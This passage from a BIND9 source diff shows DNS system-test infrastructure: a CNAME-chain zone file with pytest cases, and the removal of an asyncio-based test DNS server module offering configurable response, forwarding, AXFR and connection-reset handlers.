+!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + DO NOT ADD CUSTOM LOGIC TO THIS FILE. IT IS ONLY MEANT TO BE SYMLINKED INTO +ansX/ SUBDIRECTORIES IN SYSTEM TESTS TO REDUCE THE AMOUNT OF BOILERPLATE CODE. +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + +If you need to customize server behavior, implement it in a dedicated ans.py +server in the system test at hand. If an extension you are working on can be +useful in other system tests, please consider opening a merge request extending +isctest/asyncserver.py. +""" + +from isctest.asyncserver import AsyncDnsServer + + +def main() -> None: + server = AsyncDnsServer() + server.run() + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/zone_data/ans1/zones/example.db bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/zone_data/ans1/zones/example.db --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/zone_data/ans1/zones/example.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/zone_data/ans1/zones/example.db 2026-10-12 13:12:08.128893946 +0000 @@ -0,0 +1,7 @@ +example. 300 IN SOA ns.example. hostmaster.example. 1 3600 600 86400 300 +example. 300 IN NS ns.example. +ns.example. 300 IN A 10.53.0.1 +foo.example. 300 IN CNAME bar.example. +bar.example. 300 IN A 192.0.2.2 +loop1.example. 300 IN CNAME loop2.example. +loop2.example. 300 IN CNAME loop1.example. diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/zone_data/tests_zone_data.py bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/zone_data/tests_zone_data.py --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/tests/zone_data/tests_zone_data.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/tests/zone_data/tests_zone_data.py 2026-10-12 13:12:08.128893946 +0000 @@ -0,0 +1,42 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +import dns.message +import dns.rdatatype + +from isctest.template import ANS1 + +import isctest + + +def query(qname: str, qtype: str) -> dns.message.Message: + msg = isctest.query.create(qname, qtype, dnssec=False, rd=False) + return isctest.query.tcp(msg, ANS1.ip, timeout=3, attempts=1) + + +def test_cname_chain_is_followed(): + res = query("foo.example.", "A") + isctest.check.noerror(res) + assert [rrset.rdtype for rrset in res.answer] == [ + dns.rdatatype.CNAME, + dns.rdatatype.A, + ] + assert res.answer[-1][0].to_text() == "192.0.2.2" + + +def test_looping_cname_chain_is_cut_with_servfail(): + res = query("loop1.example.", "A") + isctest.check.servfail(res) + assert [rrset.name.to_text() for rrset in res.answer] == [ + "loop1.example.", + "loop2.example.", + ] + assert all(rrset.rdtype == dns.rdatatype.CNAME for rrset in res.answer) diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver.py bind9-9.20.30/bin/tests/system/isctest/asyncserver.py --- bind9-9.20.29/bin/tests/system/isctest/asyncserver.py 2026-09-11 19:41:01.228324456 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver.py 1970-01-01 00:00:00.000000000 +0000 @@ -1,1871 +0,0 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" - -from collections.abc import AsyncGenerator, Callable, Collection, Coroutine, Sequence -from dataclasses import dataclass, field -from typing import Any, cast - -import abc -import asyncio -import contextlib -import copy -import enum -import functools -import logging -import os -import pathlib -import re -import signal -import sys - -import dns.exception -import dns.flags -import dns.message -import dns.name -import dns.node -import dns.rcode -import dns.rdata -import dns.rdataclass -import dns.rdataset -import dns.rdatatype -import dns.rrset -import dns.tsig -import dns.zone - -_UdpHandler = Callable[ - [bytes, tuple[str, int], asyncio.DatagramTransport], Coroutine[Any, Any, None] -] - - -_TcpHandler = Callable[ - [asyncio.StreamReader, asyncio.StreamWriter], Coroutine[Any, Any, None] -] - - -class _AsyncUdpHandler(asyncio.DatagramProtocol): - """ - Protocol implementation for handling UDP traffic using asyncio. - """ - - def __init__( - self, - handler: _UdpHandler, - ) -> None: - self._transport: asyncio.DatagramTransport | None = None - self._handler: _UdpHandler = handler - - def connection_made(self, transport: asyncio.BaseTransport) -> None: - """ - Called by asyncio when a connection is made. - """ - self._transport = cast(asyncio.DatagramTransport, transport) - - def datagram_received(self, data: bytes, addr: tuple[str, int]) -> None: - """ - Called by asyncio when a datagram is received. - """ - assert self._transport - handler_coroutine = self._handler(data, addr, self._transport) - try: - # Python >= 3.7 - asyncio.create_task(handler_coroutine) - except AttributeError: - # Python < 3.7 - loop = asyncio.get_event_loop() - loop.create_task(handler_coroutine) - - -class AsyncServer: - """ - A generic asynchronous server which may handle UDP and/or TCP traffic. - - Once the server is executed as asyncio coroutine, it will keep running - until a SIGINT/SIGTERM signal is received. - """ - - def __init__( - self, - udp_handler: _UdpHandler | None, - tcp_handler: _TcpHandler | None, - pidfile: str | None = None, - ) -> None: - logging.basicConfig( - format="%(asctime)s %(levelname)8s %(message)s", - level=os.environ.get("ANS_LOG_LEVEL", "INFO").upper(), - ) - try: - ipv4_address = sys.argv[1] - except IndexError: - ipv4_address = self._get_ipv4_address_from_directory_name() - - last_ipv4_address_octet = ipv4_address.split(".")[-1] - ipv6_address = f"fd92:7065:b8e:ffff::{last_ipv4_address_octet}" - - try: - port = int(sys.argv[2]) - except IndexError: - port = int(os.environ.get("PORT", 5300)) - - logging.info("Setting up IPv4 listener at %s:%d", ipv4_address, port) - logging.info("Setting up IPv6 listener at [%s]:%d", ipv6_address, port) - - self._ip_addresses: tuple[str, str] = (ipv4_address, ipv6_address) - self._port: int = port - self._udp_handler: _UdpHandler | None = udp_handler - self._tcp_handler: _TcpHandler | None = tcp_handler - self._pidfile: str | None = pidfile - self._work_done: asyncio.Future | None = None - - def _get_ipv4_address_from_directory_name(self) -> str: - containing_directory = pathlib.Path().absolute().stem - match_result = re.match(r"ans(?P\d+)", containing_directory) - if not match_result: - raise RuntimeError("Unable to auto-determine the IPv4 address to use") - - return f"10.53.0.{match_result.group('index')}" - - def run(self) -> None: - """ - Start the server in an asynchronous coroutine. - """ - coroutine = self._run - try: - # Python >= 3.7 - asyncio.run(coroutine()) - except AttributeError: - # Python < 3.7 - loop = asyncio.get_event_loop() - loop.run_until_complete(coroutine()) - - async def _run(self) -> None: - self._setup_exception_handler() - self._setup_signals() - assert self._work_done - await self._listen_udp() - await self._listen_tcp() - self._write_pidfile() - await self._work_done - self._cleanup_pidfile() - - def _get_asyncio_loop(self) -> asyncio.AbstractEventLoop: - try: - # Python >= 3.7 - loop = asyncio.get_running_loop() - except AttributeError: - # Python < 3.7 - loop = asyncio.get_event_loop() - return loop - - def _setup_exception_handler(self) -> None: - loop = self._get_asyncio_loop() - self._work_done = loop.create_future() - loop.set_exception_handler(self._handle_exception) - - def _handle_exception( - self, _: asyncio.AbstractEventLoop, context: dict[str, Any] - ) -> None: - assert self._work_done - exception = context.get("exception", RuntimeError(context["message"])) - try: - self._work_done.set_exception(exception) - except asyncio.InvalidStateError: - pass - - def _setup_signals(self) -> None: - loop = self._get_asyncio_loop() - loop.add_signal_handler(signal.SIGINT, functools.partial(self._signal_done)) - loop.add_signal_handler(signal.SIGTERM, functools.partial(self._signal_done)) - - def _signal_done(self) -> None: - assert self._work_done - try: - self._work_done.set_result(True) - except asyncio.InvalidStateError: - pass - - async def _listen_udp(self) -> None: - if not self._udp_handler: - return - loop = self._get_asyncio_loop() - for ip_address in self._ip_addresses: - await loop.create_datagram_endpoint( - lambda: _AsyncUdpHandler(cast(_UdpHandler, self._udp_handler)), - (ip_address, self._port), - ) - - async def _listen_tcp(self) -> None: - if not self._tcp_handler: - return - for ip_address in self._ip_addresses: - await asyncio.start_server( - self._tcp_handler, host=ip_address, port=self._port - ) - - def _write_pidfile(self) -> None: - if not self._pidfile: - return - logging.info("Writing PID to %s", self._pidfile) - with open(self._pidfile, "w", encoding="ascii") as pidfile: - print(f"{os.getpid()}", file=pidfile) - - def _cleanup_pidfile(self) -> None: - if not self._pidfile: - return - logging.info("Removing %s", self._pidfile) - os.unlink(self._pidfile) - - -class DnsProtocol(enum.Enum): - UDP = enum.auto() - TCP = enum.auto() - - -@dataclass(frozen=True) -class Peer: - """ - Pretty-printed connection endpoint. - """ - - host: str - port: int - - def __str__(self) -> str: - host = f"[{self.host}]" if ":" in self.host else self.host - return f"{host}:{self.port}" - - -@dataclass -class QueryContext: - """ - Context for the incoming query which may be used for preparing the response. - """ - - query: dns.message.Message - response: dns.message.Message - socket: Peer - peer: Peer - protocol: DnsProtocol - zone: dns.zone.Zone | None = field(default=None, init=False) - soa: dns.rrset.RRset | None = field(default=None, init=False) - node: dns.node.Node | None = field(default=None, init=False) - answer: dns.rdataset.Rdataset | None = field(default=None, init=False) - alias: dns.name.Name | None = field(default=None, init=False) - _initialized_response: dns.message.Message | None = field(default=None, init=False) - _initialized_response_with_zone_data: dns.message.Message | None = field( - default=None, init=False - ) - - @property - def qname(self) -> dns.name.Name: - return self.query.question[0].name - - @property - def current_qname(self) -> dns.name.Name: - return self.alias or self.qname - - @property - def qclass(self) -> dns.rdataclass.RdataClass: - return self.query.question[0].rdclass - - @property - def qtype(self) -> dns.rdatatype.RdataType: - return self.query.question[0].rdtype - - def prepare_new_response( - self, /, with_zone_data: bool = True - ) -> dns.message.Message: - if with_zone_data: - assert self._initialized_response_with_zone_data - self.response = copy.deepcopy(self._initialized_response_with_zone_data) - else: - assert self._initialized_response - self.response = copy.deepcopy(self._initialized_response) - return self.response - - def save_initialized_response(self, /, with_zone_data: bool) -> None: - if with_zone_data: - self._initialized_response_with_zone_data = copy.deepcopy(self.response) - else: - self._initialized_response = copy.deepcopy(self.response) - - -@dataclass -class ResponseAction(abc.ABC): - """ - Base class for actions that can be taken in response to a query. - """ - - @abc.abstractmethod - async def perform(self) -> dns.message.Message | bytes | None: - """ - This method is expected to carry out arbitrary actions (e.g. wait for a - specific amount of time, modify the answer, etc.) and then return the - DNS response to send (a dns.message.Message, a raw bytes object, or - None, which prevents any response from being sent). - """ - raise NotImplementedError - - -@dataclass -class DnsResponseSend(ResponseAction): - """ - Action which yields a dns.message.Message response. - - The response may be sent with a delay if requested. - - Depending on the value of the `authoritative` property, this class may set - the AA bit in the response (True), clear it (False), or not touch it at all - (None). - """ - - response: dns.message.Message - authoritative: bool | None = None - delay: float = 0.0 - acknowledge_hand_rolled_response: bool = False - - async def perform(self) -> dns.message.Message | bytes | None: - """ - Yield a potentially delayed response that is a dns.message.Message. - """ - assert isinstance(self.response, dns.message.Message) - if not ( - _is_asyncserver_response(self.response) - or self.acknowledge_hand_rolled_response - ): - error = "The response you are trying to send was not created using " - error += "AsyncDnsServer's response preparation methods. " - error += "This will break features such as automatic AA flag " - error += "and RCODE handling. If you need a fresh copy of a " - error += "response, use `QueryContext.prepare_new_response` " - error += "instead of `dns.message.make_response`. " - error += "To acknowledge this and proceed anyway, set " - error += "`acknowledge_hand_rolled_response=True` in " - error += "DnsResponseSend's constructor." - raise RuntimeError(error) - - if self.authoritative is not None: - if self.authoritative: - self.response.flags |= dns.flags.AA - else: - self.response.flags &= ~dns.flags.AA - if self.delay > 0: - logging.info( - "Delaying response (ID=%d) by %d ms", - self.response.id, - self.delay * 1000, - ) - await asyncio.sleep(self.delay) - return self.response - - -@dataclass -class BytesResponseSend(ResponseAction): - """ - Action which yields a raw response that is a sequence of bytes. - - The response may be sent with a delay if requested. - """ - - response: bytes - delay: float = 0.0 - - async def perform(self) -> dns.message.Message | bytes | None: - """ - Yield a potentially delayed response that is a sequence of bytes. - """ - assert isinstance(self.response, bytes) - if self.delay > 0: - logging.info("Delaying raw response by %d ms", self.delay * 1000) - await asyncio.sleep(self.delay) - return self.response - - -@dataclass -class ResponseDrop(ResponseAction): - """ - Action which does nothing - as if a packet was dropped. - """ - - async def perform(self) -> dns.message.Message | bytes | None: - return None - - -class _ConnectionTeardownRequested(Exception): - pass - - -@dataclass -class CloseConnection(ResponseAction): - """ - Action which makes the server close the connection (TCP only). - - The connection may be closed with a delay if requested. - """ - - delay: float = 0.0 - - async def perform(self) -> dns.message.Message | bytes | None: - if self.delay > 0: - logging.info("Waiting %.1fs before closing TCP connection", self.delay) - await asyncio.sleep(self.delay) - raise _ConnectionTeardownRequested - - -class ConnectionHandler(abc.ABC): - """ - Base class for TCP connection handlers. - - An installed connection handler is called when a new TCP connection is - established. It may be used to perform arbitrary actions before - AsyncDnsServer processes DNS queries. - """ - - @abc.abstractmethod - async def handle( - self, reader: asyncio.StreamReader, writer: asyncio.StreamWriter, peer: Peer - ) -> None: - """ - Handle the connection with the provided reader and writer. - """ - raise NotImplementedError - - -def block_reading(peer: Peer, writer_not_the_reader: asyncio.StreamWriter) -> None: - """ - Block reads for the reader associated with the provided writer. - - Yes, pass the writer, not the reader. See the comments below for details. - """ - - try: - # Python >= 3.7 - loop = asyncio.get_running_loop() - except AttributeError: - # Python < 3.7 - loop = asyncio.get_event_loop() - - logging.info("Blocking reads from %s", peer) - - # This is MichaÅ‚'s submission for the Ugliest Hack of the Year contest. - # (The alternative was implementing an asyncio transport from scratch.) - # - # In order to prevent the client socket from being read from, simply - # not calling `reader.read()` is not enough, because asyncio buffers - # incoming data itself on the transport level. However, `StreamReader` - # does not expose the underlying transport as a property. Therefore, - # cheat by extracting it from `StreamWriter` as it is the same - # bidirectional transport as for the read side (a `Transport`, which is - # a subclass of both `ReadTransport` and `WriteTransport`) and call - # `ReadTransport.pause_reading()` to remove the underlying socket from - # the set of descriptors monitored by the selector, thereby preventing - # any reads from happening on the client socket. However... - loop.call_soon(writer_not_the_reader.transport.pause_reading) # type: ignore - - # ...due to `AsyncDnsServer._handle_tcp()` being a coroutine, by the - # time it gets executed, asyncio transport code will already have added - # the client socket to the set of descriptors monitored by the - # selector. Therefore, if the client starts sending data immediately, - # a read from the socket will have already been scheduled by the time - # this handler gets executed. There is no way to prevent that from - # happening, so work around it by abusing the fact that the transport - # at hand is specifically an instance of `_SelectorSocketTransport` - # (from asyncio.selector_events) and set the size of its read buffer to - # just a single byte. This does give asyncio enough time to read that - # single byte from the client socket's buffer before that socket is - # removed from the set of monitored descriptors, but prevents the - # one-off read from emptying the client socket buffer _entirely_, which - # is enough to trigger sending an RST segment when the connection is - # closed shortly afterwards. - writer_not_the_reader.transport.max_size = 1 # type: ignore - - -@dataclass -class IgnoreAllConnections(ConnectionHandler): - """ - A connection handler that makes the server not read anything from the - client socket, effectively ignoring all incoming connections. - """ - - _connections: set[asyncio.StreamWriter] = field(default_factory=set) - - async def handle( - self, reader: asyncio.StreamReader, writer: asyncio.StreamWriter, peer: Peer - ) -> None: - block_reading(peer, writer) - # Due to the way various asyncio-related objects (tasks, streams, - # transports, selectors) are referencing each other, pausing reads for - # a TCP transport (which in practice means removing the client socket - # from the set of descriptors monitored by a selector) can cause the - # client task (AsyncDnsServer._handle_tcp()) to be prematurely - # garbage-collected, causing asyncio code to raise a "Task was - # destroyed but it is pending!" exception. Prevent that from happening - # by keeping a reference to each incoming TCP connection to protect its - # related asyncio objects from getting garbage-collected. This - # prevents AsyncDnsServer from closing any of the ignored TCP - # connections indefinitely, which is obviously a pretty brain-dead idea - # for a production-grade DNS server, but AsyncDnsServer was never meant - # to be one and this hack reliably solves the problem at hand. - self._connections.add(writer) - - -@dataclass -class ConnectionReset(ConnectionHandler): - """ - A connection handler that makes the server close the connection without - reading anything from the client socket. - - The connection may be closed with a delay if requested. - - The sole purpose of this handler is to trigger a connection reset, i.e. to - make the server send an RST segment; this happens when the server closes a - client's socket while there is still unread data in that socket's buffer. - If closing the connection _after_ the query is read by the server is enough - for a given use case, the CloseConnection response handler should be used - instead. - """ - - delay: float = 0.0 - - async def handle( - self, reader: asyncio.StreamReader, writer: asyncio.StreamWriter, peer: Peer - ) -> None: - block_reading(peer, writer) - - if self.delay > 0: - logging.info( - "Waiting %.1fs before closing TCP connection from %s", self.delay, peer - ) - await asyncio.sleep(self.delay) - - raise _ConnectionTeardownRequested - - -class ResponseHandler(abc.ABC): - """ - Base class for generic response handlers. - - If a query passes the `match()` function logic, then it is handled by this - response handler and response(s) may be generated by the `get_responses()` - method. - """ - - # pylint: disable=unused-argument - def match(self, qctx: QueryContext) -> bool: - """ - Matching logic - the first handler whose `match()` method returns True - is used for handling the query. - - The default for each handler is to handle all queries. - """ - return True - - @abc.abstractmethod - async def get_responses( - self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: - """ - Custom handler which may produce response(s) to matching queries. - - The response prepared from zone data is passed to this method in - qctx.response. - """ - yield DnsResponseSend(qctx.response) - - def __str__(self) -> str: - return self.__class__.__name__ - - -class IgnoreAllQueries(ResponseHandler): - """ - Do not respond to any queries sent to the server. - """ - - async def get_responses( - self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: - yield ResponseDrop() - - -class QnameHandler(ResponseHandler): - """ - Base class used for deriving custom QNAME handlers. - - The derived class must specify a list of `qnames` that it wants to handle. - Queries for exactly these QNAMEs will then be passed to the - `get_response()` method in the derived class. - """ - - @property - @abc.abstractmethod - def qnames(self) -> list[str]: - """ - A list of QNAMEs handled by this class. - """ - raise NotImplementedError - - def __init__(self) -> None: - self._qnames: list[dns.name.Name] = [dns.name.from_text(d) for d in self.qnames] - - def __str__(self) -> str: - return f"{self.__class__.__name__}(QNAMEs: {', '.join(self.qnames)})" - - def match(self, qctx: QueryContext) -> bool: - """ - Handle queries whose QNAME matches any of the QNAMEs handled by this - class. - """ - return qctx.qname in self._qnames - - -class QnameQtypeHandler(QnameHandler): - """ - Handle queries for which both of the following conditions are true: - - - the query's QNAME is present in `self.qnames`, - - the query's QTYPE is present in `self.qtypes`. - """ - - @property - @abc.abstractmethod - def qtypes(self) -> list[dns.rdatatype.RdataType]: - """ - A list of QTYPEs handled by this class. - """ - raise NotImplementedError - - def __init__(self) -> None: - super().__init__() - self._qtypes: list[dns.rdatatype.RdataType] = self.qtypes - - def __str__(self) -> str: - return f"{self.__class__.__name__}(QNAMEs: {', '.join(self.qnames)}; QTYPEs: {', '.join(map(str, self.qtypes))})" - - def match(self, qctx: QueryContext) -> bool: - """ - Handle queries whose QNAME and QTYPE match any of the QNAMEs and - QTYPEs handled by this class. - """ - return qctx.qtype in self._qtypes and super().match(qctx) - - -class _UnsetEdnsType: - pass - - -class StaticResponseHandler(ResponseHandler): - """ - Base class used for deriving custom static response handlers. - - The derived class can specify the RRsets to be included in the answer, - authority, and additional sections of the response, whether to set the AA - bit in the response, and a delay before sending the response. - - The default implementation of `get_responses()` uses these properties to - prepare and yield a single response. - """ - - @property - def rcode(self) -> dns.rcode.Rcode | None: - """ - Optional RCODE to be set in the response. - """ - return None - - @property - def answer(self) -> Sequence[dns.rrset.RRset]: - """ - RRsets to be included in the answer section of the response. - """ - return [] - - @property - def authority(self) -> Sequence[dns.rrset.RRset]: - """ - RRsets to be included in the authority section of the response. - """ - return [] - - @property - def additional(self) -> Sequence[dns.rrset.RRset]: - """ - RRsets to be included in the additional section of the response. - """ - return [] - - @property - def authoritative(self) -> bool | None: - """ - Whether to set the AA bit in the response. - """ - return None - - @property - def delay(self) -> float: - """ - Delay before sending the response. - """ - return 0.0 - - @property - def edns(self) -> int | bool | None | _UnsetEdnsType: - """ - Value passed to the response's ``use_edns()``. Left unset by default, - so EDNS is untouched; set it to anything ``use_edns()`` accepts (e.g. - ``None`` to strip EDNS and mimic a non-EDNS server). - """ - return _UnsetEdnsType() - - async def get_responses( - self, qctx: QueryContext - ) -> AsyncGenerator[DnsResponseSend, None]: - qctx.prepare_new_response(with_zone_data=False) - qctx.response.answer.extend(self.answer) - qctx.response.authority.extend(self.authority) - qctx.response.additional.extend(self.additional) - if self.rcode is not None: - qctx.response.set_rcode(self.rcode) - if not isinstance(self.edns, _UnsetEdnsType): - qctx.response.use_edns(self.edns) - yield DnsResponseSend( - qctx.response, authoritative=self.authoritative, delay=self.delay - ) - - -class DomainHandler(ResponseHandler): - """ - Base class used for deriving custom domain handlers. - - The derived class must specify a list of `domains` that it wants to handle. - Queries for any of these domains (and their subdomains) will then be passed - to the `get_response()` method in the derived class. - - The most specific matching domain is stored in the `matched_domain` attribute. - """ - - @property - @abc.abstractmethod - def domains(self) -> list[str]: - """ - A list of domain names handled by this class. - """ - raise NotImplementedError - - def __init__(self) -> None: - self._domains: list[dns.name.Name] = sorted( - [dns.name.from_text(d) for d in self.domains], reverse=True - ) - self._matched_domain: dns.name.Name | None = None - - @property - def matched_domain(self) -> dns.name.Name: - assert self._matched_domain is not None - return self._matched_domain - - def __str__(self) -> str: - return f"{self.__class__.__name__}(domains: {', '.join(self.domains)})" - - def match(self, qctx: QueryContext) -> bool: - """ - Handle queries whose QNAME matches any of the domains handled by this - class. - """ - self._matched_domain = None - for domain in self._domains: - if qctx.qname.is_subdomain(domain): - self._matched_domain = domain - return True - return False - - -class ForwarderHandler(ResponseHandler): - """ - A handler forwarding all received queries to another DNS server with an - optional delay and then relaying the responses back to the original client. - - Queries are currently always forwarded via UDP. - """ - - @property - @abc.abstractmethod - def target(self) -> str: - """ - The address of the DNS server to forward queries to. - """ - raise NotImplementedError - - @property - def port(self) -> int: - """ - The port of the DNS server to forward queries to. - - The default value of 0 causes the same port as the one used by this - server for listening to be used. - """ - return 0 - - @property - def delay(self) -> float: - """ - The number of seconds to wait before forwarding each query. - """ - return 0.0 - - def __str__(self) -> str: - return f"{self.__class__.__name__}(target: {self.target}:{self.port})" - - class ForwarderProtocol(asyncio.DatagramProtocol): - def __init__(self, query: bytes, response: asyncio.Future) -> None: - self._query = query - self._response = response - - def connection_made(self, transport: asyncio.BaseTransport) -> None: - logging.debug("[OUT] %s", self._query.hex()) - cast(asyncio.DatagramTransport, transport).sendto(self._query) - - def datagram_received(self, data: bytes, _: tuple[str, int]) -> None: - logging.debug("[IN] %s", data.hex()) - self._response.set_result(data) - - async def get_responses( - self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: - loop = asyncio.get_running_loop() - response = loop.create_future() - forwarding_target = f"{self.target}:{self.port or qctx.socket.port}" - - if self.delay > 0: - logging.info( - "Waiting %.1fs before forwarding %s query from %s to %s over UDP", - self.delay, - qctx.protocol.name, - qctx.peer, - forwarding_target, - ) - await asyncio.sleep(self.delay) - - logging.info( - "Forwarding %s query from %s to %s over UDP", - qctx.protocol.name, - qctx.peer, - forwarding_target, - ) - - transport, _ = await loop.create_datagram_endpoint( - lambda: self.ForwarderProtocol(qctx.query.to_wire(), response), - local_addr=(qctx.socket.host, 0), - remote_addr=(self.target, self.port or qctx.socket.port), - ) - - try: - await response - finally: - transport.close() - - logging.info( - "Relaying UDP response from %s to %s over %s", - forwarding_target, - qctx.peer, - qctx.protocol.name, - ) - - try: - message = _DnsMessageWithTsigDisabled.from_wire(response.result()) - yield DnsResponseSend(message, acknowledge_hand_rolled_response=True) - except dns.exception.DNSException: - logging.warning( - "Failed to parse response from %s as a DNS message, relaying it as raw bytes", - forwarding_target, - ) - yield BytesResponseSend(response.result()) - - -class AxfrHandler(ResponseHandler): - """ - Base class for AXFR response handlers. - - Subclasses must define the `initial_soa`, `zone_contents`, and `final_soa` - properties to specify the content of the AXFR responses. - - The responses are constructed without any regard to zone data. - """ - - @property - @abc.abstractmethod - def initial_soa(self) -> dns.rrset.RRset: - """ - Initial SOA record of response packets sent in response to - AXFR queries. - """ - raise NotImplementedError - - @property - @abc.abstractmethod - def zone_contents(self) -> Collection[dns.rrset.RRset]: - """ - Answer section of the second response packet sent in response to - AXFR queries. - """ - raise NotImplementedError - - @property - @abc.abstractmethod - def final_soa(self) -> dns.rrset.RRset: - """ - Final SOA record of response packets sent in response to - AXFR queries. - """ - raise NotImplementedError - - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.AXFR - - async def get_responses( - self, qctx: QueryContext - ) -> AsyncGenerator[DnsResponseSend, None]: - qctx.prepare_new_response(with_zone_data=False) - qctx.response.answer.append(self.initial_soa) - yield DnsResponseSend(qctx.response) - - qctx.prepare_new_response(with_zone_data=False) - for rrset_ in self.zone_contents: - qctx.response.answer.append(rrset_) - yield DnsResponseSend(qctx.response) - - qctx.prepare_new_response(with_zone_data=False) - qctx.response.answer.append(self.final_soa) - yield DnsResponseSend(qctx.response) - - -@dataclass -class _ZoneTreeNode: - """ - A node representing a zone with one origin. - """ - - zone: dns.zone.Zone | None - children: list["_ZoneTreeNode"] = field(default_factory=list) - - -class _ZoneTree: - """ - Tree with independent zones. - - This zone tree is used as a backing structure for the DNS server. The - individual zones are independent to allow the (single) server to serve both - the parent zone and a child zone if needed. - """ - - def __init__(self) -> None: - self._root: _ZoneTreeNode = _ZoneTreeNode(None) - - def add(self, zone: dns.zone.Zone) -> None: - """ - Add a zone to the tree and rearrange sub-zones if necessary. - """ - assert zone.origin - best_match = self._find_best_match(zone.origin, self._root) - added_node = _ZoneTreeNode(zone) - self._move_children(best_match, added_node) - best_match.children.append(added_node) - - def _find_best_match( - self, name: dns.name.Name, start_node: _ZoneTreeNode - ) -> _ZoneTreeNode: - for child in start_node.children: - assert child.zone - assert child.zone.origin - if name.is_subdomain(child.zone.origin): - return self._find_best_match(name, child) - return start_node - - def _move_children(self, node_from: _ZoneTreeNode, node_to: _ZoneTreeNode) -> None: - assert node_to.zone - assert node_to.zone.origin - - children_to_move = [] - for child in node_from.children: - assert child.zone - assert child.zone.origin - if child.zone.origin.is_subdomain(node_to.zone.origin): - children_to_move.append(child) - - for child in children_to_move: - node_from.children.remove(child) - node_to.children.append(child) - - def find_best_zone(self, name: dns.name.Name) -> dns.zone.Zone | None: - """ - Return the closest matching zone (if any) for the domain name. - """ - node = self._find_best_match(name, self._root) - return node.zone if node != self._root else None - - -class _DnsMessageWithTsigDisabled(dns.message.Message): - """ - A wrapper for `dns.message.Message` that works around a dnspython bug - causing exceptions to be raised when `make_response()` or `to_wire()` are - called for a message created using `dns.message.from_wire(keyring=False)`. - - See https://github.com/rthalley/dnspython/issues/1205 for more details. - """ - - class _DisableTsigHandling(contextlib.ContextDecorator): - def __init__(self, message: dns.message.Message | None = None) -> None: - self.original_tsig_sign = dns.tsig.sign - self.original_tsig_validate = dns.tsig.validate - if message: - self.tsig = message.tsig - - def __enter__(self) -> None: - """ - Override the `dns.tsig.sign` and `dns.tsig.validate` functions to prevent them - from failing on messages initialized with `dns.message.from_wire(keyring=False)`. - """ - - def sign(*_: Any, **__: Any) -> tuple[dns.rdata.Rdata, None]: - assert self.tsig - return self.tsig[0], None - - def validate(*_: Any, **__: Any) -> None: - return None - - dns.tsig.sign = sign - dns.tsig.validate = validate - - def __exit__(self, *_: Any, **__: Any) -> None: - dns.tsig.sign = self.original_tsig_sign - dns.tsig.validate = self.original_tsig_validate - - @classmethod - def from_wire(cls, wire: bytes) -> "_DnsMessageWithTsigDisabled": - with cls._DisableTsigHandling(): - message = dns.message.from_wire(wire, keyring=False) - message.__class__ = _DnsMessageWithTsigDisabled - - return cast(_DnsMessageWithTsigDisabled, message) - - @property - def had_tsig(self) -> bool: - """ - Override the `had_tsig()` method to always return False, to prevent - `make_response()` from crashing. - """ - return False - - def to_wire(self, *args: Any, **kwargs: Any) -> bytes: - """ - Override the `to_wire()` method to prevent it from trying to sign - the message with TSIG. - """ - with self._DisableTsigHandling(self): - return super().to_wire(*args, **kwargs) - - -class _NoKeyringType: - pass - - -_ASYNCSERVER_RESPONSE_MARKER = "__is_asyncserver_response__" - - -def _make_asyncserver_response(query: dns.message.Message) -> dns.message.Message: - response = dns.message.make_response(query) - setattr(response, _ASYNCSERVER_RESPONSE_MARKER, True) - return response - - -def _is_asyncserver_response(message: dns.message.Message) -> bool: - return getattr(message, _ASYNCSERVER_RESPONSE_MARKER, False) - - -class AsyncDnsServer(AsyncServer): - """ - DNS server which responds to queries based on zone data and/or custom - handlers. - - The server may use custom handlers which allow arbitrary query processing. - These don't need to be standards-compliant and can be used for testing all - sorts of scenarios, including delaying responses, synthesizing them based - on query contents etc. - - The server also loads any zone files (*.db) found in its directory and - serves them. Responses prepared using zone data can then be modified, - replaced, or suppressed by query handlers. Query handlers can also generate - response from scratch, without using zone data at all. - """ - - def __init__( - self, - /, - default_rcode: dns.rcode.Rcode = dns.rcode.REFUSED, - default_aa: bool = False, - keyring: ( - dict[dns.name.Name, dns.tsig.Key] | None | _NoKeyringType - ) = _NoKeyringType(), - acknowledge_manual_dname_handling: bool = False, - ) -> None: - super().__init__(self._handle_udp, self._handle_tcp, "ans.pid") - - self._zone_tree: _ZoneTree = _ZoneTree() - self._connection_handler: ConnectionHandler | None = None - self._response_handlers: list[ResponseHandler] = [] - self._default_rcode = default_rcode - self._default_aa = default_aa - self._keyring = keyring - self._acknowledge_manual_dname_handling = acknowledge_manual_dname_handling - - self._load_zones() - - def install_response_handler( - self, handler: ResponseHandler, prepend: bool = False - ) -> None: - """ - Add a response handler that will be used to handle matching queries. - - Response handlers can modify, replace, or suppress the answers prepared - from zone file contents. - - The provided handler is 